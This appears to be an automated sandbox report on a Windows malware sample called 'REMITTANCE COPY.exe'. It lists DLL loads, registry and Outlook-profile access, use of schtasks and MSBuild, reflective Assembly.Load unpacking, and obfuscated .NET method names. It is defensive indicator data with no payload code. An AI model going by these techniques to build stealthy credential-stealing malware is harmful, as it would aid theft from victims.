Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vaultcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: REMITTANCE COPY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: REMITTANCE COPY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: REMITTANCE COPY.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: winload_prod.pdbY source: CNqCubHKvlzbGo.exe, 00000009.00000002.2100459259.0000000005DCE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: XJmcU.pdb source: REMITTANCE COPY.exe, CNqCubHKvlzbGo.exe.0.dr
Source:	Binary string: XJmcU.pdbSHA2569 source: REMITTANCE COPY.exe, CNqCubHKvlzbGo.exe.0.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: REMITTANCE COPY.exe, Form1.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: CNqCubHKvlzbGo.exe.0.dr, Form1.cs	.Net Code: InitializeComponent System.AppDomain.Load(byte[])
Source: 0.2.REMITTANCE COPY.exe.52d0000.4.raw.unpack, .cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, pMOI3TbUm5GfpCblLE.cs	.Net Code: TVj8EAd5FJ System.Reflection.Assembly.Load(byte[])
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, pMOI3TbUm5GfpCblLE.cs	.Net Code: TVj8EAd5FJ System.Reflection.Assembly.Load(byte[])
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, pMOI3TbUm5GfpCblLE.cs	.Net Code: TVj8EAd5FJ System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\REMITTANCE COPY.exe	Code function: 0_2_00F3D89E pushfd ; ret	0_2_00F3D8A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_01510CA1 push edi; retf	8_2_01510CAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 8_2_069C9C01 push es; ret	8_2_069C9C0C
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F93DD pushad ; retf	9_2_051F93DE
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F93E7 pushad ; retf	9_2_051F93E8
Source: C:\Users\user\AppData\Roaming\CNqCubHKvlzbGo.exe	Code function: 9_2_051F6EA7 push ebx; ret	9_2_051F6EAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 13_2_06779BAF push es; ret	13_2_06779C0C

Source: REMITTANCE COPY.exe	Static PE information: section name: .text entropy: 7.3230788156481825
Source: CNqCubHKvlzbGo.exe.0.dr	Static PE information: section name: .text entropy: 7.3230788156481825

Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, mSWj1bEngJU8Pdwr99.cs	High entropy of concatenated method names: 'bEqEBgnj4', 'G4u3gx96v', 'AOvsQV8bs', 'qfIRyCmPv', 'lwAWdAZ55', 'Lig1n0TrW', 'rGIcdP0hhZJ6ByCt1u', 'RYw2ynKJkWNZoQqtQr', 'ur5NAW4Pf', 'Jo9ZjTRol'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, hayBOql2nDoLPMwIfo.cs	High entropy of concatenated method names: 'WCGtXFnsh4', 'D2ctQWh6K7', 'nRftENleb1', 'Iv2t3dRAE8', 'mTRtFjrPlN', 'AKttstHyUx', 'I0dtRYbWQt', 'ELPt0hbMmA', 'kH7tW5cTex', 'yIYt1kPqCi'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, Ny8NKgZxupvGLLylyd.cs	High entropy of concatenated method names: 'DWEtAed4Tr', 'B50tgdvnqc', 'cdDtHGKfjB', 'b4oHYtNjP9', 'a2kHzVJl69', 'IiwtG0sW4s', 'yeMtB8YVKr', 'NkQtVCTfUb', 'KrotqQi07v', 'pT1t84WwVK'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, BN1FGgo3GGJWA1QGmf.cs	High entropy of concatenated method names: 'uTsBtg7Oaj', 'M1IBMrk66O', 'dF4BO6xtE2', 'fJ7BlIoKk2', 'reCBuD2Y6b', 'Nd0BiUqUiy', 'GQUMSbcK0Pe0XuAUdb', 'qkm62eNbVUXgv3BHQi', 'EVlBB5Xt6M', 'AV7Bq0gqT9'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, DXL5gBg78is2DHSaur.cs	High entropy of concatenated method names: 'KVOvDxLx43', 'z4LvYPvAsW', 'A0UNG5u1DM', 'WvlNBEp0w4', 'TNrv50fVsI', 'Hr7v7igt7I', 'SCQv23qfhZ', 'WQivSF2tqQ', 'tjbvyOwtiR', 'c2hvaXcjJn'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, lAxGl550OXdIl6RgLf.cs	High entropy of concatenated method names: 'HChIS1Inpd', 'tguIyZHYeA', 'f0OIahdJuZ', 'NrRIp5CJaA', 'OM5InOMpPB', 'LflI42sCxL', 'iYmIbi3VOX', 'btcIDuNg25', 'HM3IkEDkHy', 'AIYIY36PCq'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, WvOtTCYHK2dlyjEXVg.cs	High entropy of concatenated method names: 'Dispose', 'RmbBkGf4mn', 'ScKVhhmCmO', 'tFnccyZHXj', 'RowBYa6uQ3', 'wcOBzbqWLA', 'ProcessDialogKey', 'BTwVGWtcUp', 'pi5VBUZBUs', 'vR0VVBTXE9'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, KsmfdO1N5flFtJIxIJ.cs	High entropy of concatenated method names: 'X1hg3ggbYA', 'S9PgskukOC', 'HD2g0M2K7L', 'wdXgWoE3Ia', 'HG8guk9lR2', 'C1KgivB2R3', 'vBCgv5f80h', 'O7cgNxiUjr', 'plUgdblOEs', 'dlCgZlYh7p'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, K0c9I1QdnK7GlukgGpJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uRiZSFWjXn', 'nvCZyXOdih', 'JZtZaYQUjL', 'vsxZpCcx7v', 'AZ0ZnIoUD7', 'VehZ4GZ0n2', 'B4OZbCfFo2'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, PixJlLscNnE9HdSxV6.cs	High entropy of concatenated method names: 'iS8HjdSvSp', 'Je6HIx1RiG', 'zsZHUup3de', 'pk8HtYlSlr', 'kHYHM7xu1g', 'R7JUn0X43X', 'HHvU4mHLoH', 'JUEUbptaVk', 'pG5UDJ5EJq', 'CgTUkMKChV'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, yOQC2Jm1hbZQa4f2bd.cs	High entropy of concatenated method names: 'NJGP07sxCI', 'aTGPWQnsfx', 'bxuPCHBH0v', 'N11PhRefgq', 'MODPeaT1QN', 'DCNPfAUOD6', 'f9dPxQ1hPk', 'iKOPwVlNdI', 'faVPTq9Y5k', 'HgdP570h7U'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, jH2jk8jFnUtMSM8hgu.cs	High entropy of concatenated method names: 'SQyUFarsqI', 'RvwURduI0A', 'eBGgLBC3nC', 'SRMgeDCOC8', 'PgUgfuF9nU', 'MYVgKs4rBA', 'HAlgx5tYGK', 'nOMgwha83L', 'zcVgJwgCky', 'DlBgTwsjl0'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, jZHnuMQV8gFUMVbwx2d.cs	High entropy of concatenated method names: 'eurdX8VMPk', 'k9TdQVcnus', 'LDedEXhPeh', 'GJ1d3U4MfA', 'OjedFCL0ek', 'LOrdsyefSy', 'DoNdR2dBqa', 'Cl3d0jHwed', 'BV0dWO6Nxp', 'w2td1qs8nd'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, JjyIRG4DuVZ0H2YsgY.cs	High entropy of concatenated method names: 'mKkdBkyGNh', 'BcUdqaYbAt', 'LHod891iUS', 'rQNdAoBwAx', 'sqidINr2wm', 'qFndUfCVSV', 'EXldHrL9IQ', 'UBONbUo2Iw', 'XmfNDZF7ro', 'HaSNk8LhjY'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, h4UeuoC4TZcO3oNu8T.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kTAVk6rgUG', 'iUTVYpH7D3', 'g7AVzpXshT', 'WErqG4eoHQ', 'oTGqBQq2mO', 'rW7qVvuc6k', 'cmHqqWCHCB', 'QZZv1WsllfEtxeu7Gvh'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, CENp6OhPSZ5tr40f2f.cs	High entropy of concatenated method names: 'MAcNAlwUPu', 'N1TNIqLjh8', 'Ql2NgNw3xB', 'oxyNUt5nJF', 'yTTNHLAuZk', 'dNQNtUGsNT', 'fGaNM7UdNW', 'L0nNmNeMAW', 'AT3NOqt3pF', 'DkxNlZckZ2'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, pMOI3TbUm5GfpCblLE.cs	High entropy of concatenated method names: 'UTaqj2Qyyp', 'KTdqAof3FA', 'QFkqIB82kL', 'YNBqgBRr1B', 'msfqUsaZ9U', 'E2TqHBmqf6', 'yN5qtomi9P', 'LthqM1gUVj', 'XgFqmRQcUZ', 'UI3qO4b0pa'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, BuFQNqzrftoHXmvp1l.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'FY9dP6xUWx', 'q2lduNCB3A', 'c09dio65Y2', 'iCZdv2elEk', 'z41dNBnGtY', 'hliddvVAE4', 'EX9dZH4d0C'
Source: 0.2.REMITTANCE COPY.exe.46df4f8.0.raw.unpack, ddBdgUR2ehymCeoWPR.cs	High entropy of concatenated method names: 'XBUNCMNrRb', 'Ln6NhJWYww', 'psTNLljciF', 'OMRNeU2qRZ', 'GNNNSwSTP8', 'O0oNfXq901', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, mSWj1bEngJU8Pdwr99.cs	High entropy of concatenated method names: 'bEqEBgnj4', 'G4u3gx96v', 'AOvsQV8bs', 'qfIRyCmPv', 'lwAWdAZ55', 'Lig1n0TrW', 'rGIcdP0hhZJ6ByCt1u', 'RYw2ynKJkWNZoQqtQr', 'ur5NAW4Pf', 'Jo9ZjTRol'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, hayBOql2nDoLPMwIfo.cs	High entropy of concatenated method names: 'WCGtXFnsh4', 'D2ctQWh6K7', 'nRftENleb1', 'Iv2t3dRAE8', 'mTRtFjrPlN', 'AKttstHyUx', 'I0dtRYbWQt', 'ELPt0hbMmA', 'kH7tW5cTex', 'yIYt1kPqCi'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, Ny8NKgZxupvGLLylyd.cs	High entropy of concatenated method names: 'DWEtAed4Tr', 'B50tgdvnqc', 'cdDtHGKfjB', 'b4oHYtNjP9', 'a2kHzVJl69', 'IiwtG0sW4s', 'yeMtB8YVKr', 'NkQtVCTfUb', 'KrotqQi07v', 'pT1t84WwVK'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, BN1FGgo3GGJWA1QGmf.cs	High entropy of concatenated method names: 'uTsBtg7Oaj', 'M1IBMrk66O', 'dF4BO6xtE2', 'fJ7BlIoKk2', 'reCBuD2Y6b', 'Nd0BiUqUiy', 'GQUMSbcK0Pe0XuAUdb', 'qkm62eNbVUXgv3BHQi', 'EVlBB5Xt6M', 'AV7Bq0gqT9'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, DXL5gBg78is2DHSaur.cs	High entropy of concatenated method names: 'KVOvDxLx43', 'z4LvYPvAsW', 'A0UNG5u1DM', 'WvlNBEp0w4', 'TNrv50fVsI', 'Hr7v7igt7I', 'SCQv23qfhZ', 'WQivSF2tqQ', 'tjbvyOwtiR', 'c2hvaXcjJn'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, lAxGl550OXdIl6RgLf.cs	High entropy of concatenated method names: 'HChIS1Inpd', 'tguIyZHYeA', 'f0OIahdJuZ', 'NrRIp5CJaA', 'OM5InOMpPB', 'LflI42sCxL', 'iYmIbi3VOX', 'btcIDuNg25', 'HM3IkEDkHy', 'AIYIY36PCq'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, WvOtTCYHK2dlyjEXVg.cs	High entropy of concatenated method names: 'Dispose', 'RmbBkGf4mn', 'ScKVhhmCmO', 'tFnccyZHXj', 'RowBYa6uQ3', 'wcOBzbqWLA', 'ProcessDialogKey', 'BTwVGWtcUp', 'pi5VBUZBUs', 'vR0VVBTXE9'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, KsmfdO1N5flFtJIxIJ.cs	High entropy of concatenated method names: 'X1hg3ggbYA', 'S9PgskukOC', 'HD2g0M2K7L', 'wdXgWoE3Ia', 'HG8guk9lR2', 'C1KgivB2R3', 'vBCgv5f80h', 'O7cgNxiUjr', 'plUgdblOEs', 'dlCgZlYh7p'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, K0c9I1QdnK7GlukgGpJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uRiZSFWjXn', 'nvCZyXOdih', 'JZtZaYQUjL', 'vsxZpCcx7v', 'AZ0ZnIoUD7', 'VehZ4GZ0n2', 'B4OZbCfFo2'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, PixJlLscNnE9HdSxV6.cs	High entropy of concatenated method names: 'iS8HjdSvSp', 'Je6HIx1RiG', 'zsZHUup3de', 'pk8HtYlSlr', 'kHYHM7xu1g', 'R7JUn0X43X', 'HHvU4mHLoH', 'JUEUbptaVk', 'pG5UDJ5EJq', 'CgTUkMKChV'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, yOQC2Jm1hbZQa4f2bd.cs	High entropy of concatenated method names: 'NJGP07sxCI', 'aTGPWQnsfx', 'bxuPCHBH0v', 'N11PhRefgq', 'MODPeaT1QN', 'DCNPfAUOD6', 'f9dPxQ1hPk', 'iKOPwVlNdI', 'faVPTq9Y5k', 'HgdP570h7U'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, jH2jk8jFnUtMSM8hgu.cs	High entropy of concatenated method names: 'SQyUFarsqI', 'RvwURduI0A', 'eBGgLBC3nC', 'SRMgeDCOC8', 'PgUgfuF9nU', 'MYVgKs4rBA', 'HAlgx5tYGK', 'nOMgwha83L', 'zcVgJwgCky', 'DlBgTwsjl0'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, jZHnuMQV8gFUMVbwx2d.cs	High entropy of concatenated method names: 'eurdX8VMPk', 'k9TdQVcnus', 'LDedEXhPeh', 'GJ1d3U4MfA', 'OjedFCL0ek', 'LOrdsyefSy', 'DoNdR2dBqa', 'Cl3d0jHwed', 'BV0dWO6Nxp', 'w2td1qs8nd'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, JjyIRG4DuVZ0H2YsgY.cs	High entropy of concatenated method names: 'mKkdBkyGNh', 'BcUdqaYbAt', 'LHod891iUS', 'rQNdAoBwAx', 'sqidINr2wm', 'qFndUfCVSV', 'EXldHrL9IQ', 'UBONbUo2Iw', 'XmfNDZF7ro', 'HaSNk8LhjY'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, h4UeuoC4TZcO3oNu8T.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kTAVk6rgUG', 'iUTVYpH7D3', 'g7AVzpXshT', 'WErqG4eoHQ', 'oTGqBQq2mO', 'rW7qVvuc6k', 'cmHqqWCHCB', 'QZZv1WsllfEtxeu7Gvh'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, CENp6OhPSZ5tr40f2f.cs	High entropy of concatenated method names: 'MAcNAlwUPu', 'N1TNIqLjh8', 'Ql2NgNw3xB', 'oxyNUt5nJF', 'yTTNHLAuZk', 'dNQNtUGsNT', 'fGaNM7UdNW', 'L0nNmNeMAW', 'AT3NOqt3pF', 'DkxNlZckZ2'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, pMOI3TbUm5GfpCblLE.cs	High entropy of concatenated method names: 'UTaqj2Qyyp', 'KTdqAof3FA', 'QFkqIB82kL', 'YNBqgBRr1B', 'msfqUsaZ9U', 'E2TqHBmqf6', 'yN5qtomi9P', 'LthqM1gUVj', 'XgFqmRQcUZ', 'UI3qO4b0pa'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, BuFQNqzrftoHXmvp1l.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'FY9dP6xUWx', 'q2lduNCB3A', 'c09dio65Y2', 'iCZdv2elEk', 'z41dNBnGtY', 'hliddvVAE4', 'EX9dZH4d0C'
Source: 0.2.REMITTANCE COPY.exe.4783d18.1.raw.unpack, ddBdgUR2ehymCeoWPR.cs	High entropy of concatenated method names: 'XBUNCMNrRb', 'Ln6NhJWYww', 'psTNLljciF', 'OMRNeU2qRZ', 'GNNNSwSTP8', 'O0oNfXq901', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, mSWj1bEngJU8Pdwr99.cs	High entropy of concatenated method names: 'bEqEBgnj4', 'G4u3gx96v', 'AOvsQV8bs', 'qfIRyCmPv', 'lwAWdAZ55', 'Lig1n0TrW', 'rGIcdP0hhZJ6ByCt1u', 'RYw2ynKJkWNZoQqtQr', 'ur5NAW4Pf', 'Jo9ZjTRol'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, hayBOql2nDoLPMwIfo.cs	High entropy of concatenated method names: 'WCGtXFnsh4', 'D2ctQWh6K7', 'nRftENleb1', 'Iv2t3dRAE8', 'mTRtFjrPlN', 'AKttstHyUx', 'I0dtRYbWQt', 'ELPt0hbMmA', 'kH7tW5cTex', 'yIYt1kPqCi'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, Ny8NKgZxupvGLLylyd.cs	High entropy of concatenated method names: 'DWEtAed4Tr', 'B50tgdvnqc', 'cdDtHGKfjB', 'b4oHYtNjP9', 'a2kHzVJl69', 'IiwtG0sW4s', 'yeMtB8YVKr', 'NkQtVCTfUb', 'KrotqQi07v', 'pT1t84WwVK'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, BN1FGgo3GGJWA1QGmf.cs	High entropy of concatenated method names: 'uTsBtg7Oaj', 'M1IBMrk66O', 'dF4BO6xtE2', 'fJ7BlIoKk2', 'reCBuD2Y6b', 'Nd0BiUqUiy', 'GQUMSbcK0Pe0XuAUdb', 'qkm62eNbVUXgv3BHQi', 'EVlBB5Xt6M', 'AV7Bq0gqT9'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, DXL5gBg78is2DHSaur.cs	High entropy of concatenated method names: 'KVOvDxLx43', 'z4LvYPvAsW', 'A0UNG5u1DM', 'WvlNBEp0w4', 'TNrv50fVsI', 'Hr7v7igt7I', 'SCQv23qfhZ', 'WQivSF2tqQ', 'tjbvyOwtiR', 'c2hvaXcjJn'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, lAxGl550OXdIl6RgLf.cs	High entropy of concatenated method names: 'HChIS1Inpd', 'tguIyZHYeA', 'f0OIahdJuZ', 'NrRIp5CJaA', 'OM5InOMpPB', 'LflI42sCxL', 'iYmIbi3VOX', 'btcIDuNg25', 'HM3IkEDkHy', 'AIYIY36PCq'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, WvOtTCYHK2dlyjEXVg.cs	High entropy of concatenated method names: 'Dispose', 'RmbBkGf4mn', 'ScKVhhmCmO', 'tFnccyZHXj', 'RowBYa6uQ3', 'wcOBzbqWLA', 'ProcessDialogKey', 'BTwVGWtcUp', 'pi5VBUZBUs', 'vR0VVBTXE9'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, KsmfdO1N5flFtJIxIJ.cs	High entropy of concatenated method names: 'X1hg3ggbYA', 'S9PgskukOC', 'HD2g0M2K7L', 'wdXgWoE3Ia', 'HG8guk9lR2', 'C1KgivB2R3', 'vBCgv5f80h', 'O7cgNxiUjr', 'plUgdblOEs', 'dlCgZlYh7p'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, K0c9I1QdnK7GlukgGpJ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uRiZSFWjXn', 'nvCZyXOdih', 'JZtZaYQUjL', 'vsxZpCcx7v', 'AZ0ZnIoUD7', 'VehZ4GZ0n2', 'B4OZbCfFo2'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, PixJlLscNnE9HdSxV6.cs	High entropy of concatenated method names: 'iS8HjdSvSp', 'Je6HIx1RiG', 'zsZHUup3de', 'pk8HtYlSlr', 'kHYHM7xu1g', 'R7JUn0X43X', 'HHvU4mHLoH', 'JUEUbptaVk', 'pG5UDJ5EJq', 'CgTUkMKChV'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, yOQC2Jm1hbZQa4f2bd.cs	High entropy of concatenated method names: 'NJGP07sxCI', 'aTGPWQnsfx', 'bxuPCHBH0v', 'N11PhRefgq', 'MODPeaT1QN', 'DCNPfAUOD6', 'f9dPxQ1hPk', 'iKOPwVlNdI', 'faVPTq9Y5k', 'HgdP570h7U'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, jH2jk8jFnUtMSM8hgu.cs	High entropy of concatenated method names: 'SQyUFarsqI', 'RvwURduI0A', 'eBGgLBC3nC', 'SRMgeDCOC8', 'PgUgfuF9nU', 'MYVgKs4rBA', 'HAlgx5tYGK', 'nOMgwha83L', 'zcVgJwgCky', 'DlBgTwsjl0'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, jZHnuMQV8gFUMVbwx2d.cs	High entropy of concatenated method names: 'eurdX8VMPk', 'k9TdQVcnus', 'LDedEXhPeh', 'GJ1d3U4MfA', 'OjedFCL0ek', 'LOrdsyefSy', 'DoNdR2dBqa', 'Cl3d0jHwed', 'BV0dWO6Nxp', 'w2td1qs8nd'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, JjyIRG4DuVZ0H2YsgY.cs	High entropy of concatenated method names: 'mKkdBkyGNh', 'BcUdqaYbAt', 'LHod891iUS', 'rQNdAoBwAx', 'sqidINr2wm', 'qFndUfCVSV', 'EXldHrL9IQ', 'UBONbUo2Iw', 'XmfNDZF7ro', 'HaSNk8LhjY'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, h4UeuoC4TZcO3oNu8T.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'kTAVk6rgUG', 'iUTVYpH7D3', 'g7AVzpXshT', 'WErqG4eoHQ', 'oTGqBQq2mO', 'rW7qVvuc6k', 'cmHqqWCHCB', 'QZZv1WsllfEtxeu7Gvh'
Source: 0.2.REMITTANCE COPY.exe.8430000.7.raw.unpack, CENp6OhPSZ5tr40f2f.cs	High entropy of concatenated method names: 'MAcNAlwUPu', 'N1TNIqLjh8', 'Ql2NgNw3xB', 'oxyNUt5nJF', 'yTTNHLAuZk', 'dNQNtUGsNT', 'fGaNM7UdNW', 'L0nNmNeMAW', 'AT3NOqt3pF', 'DkxNlZckZ2'
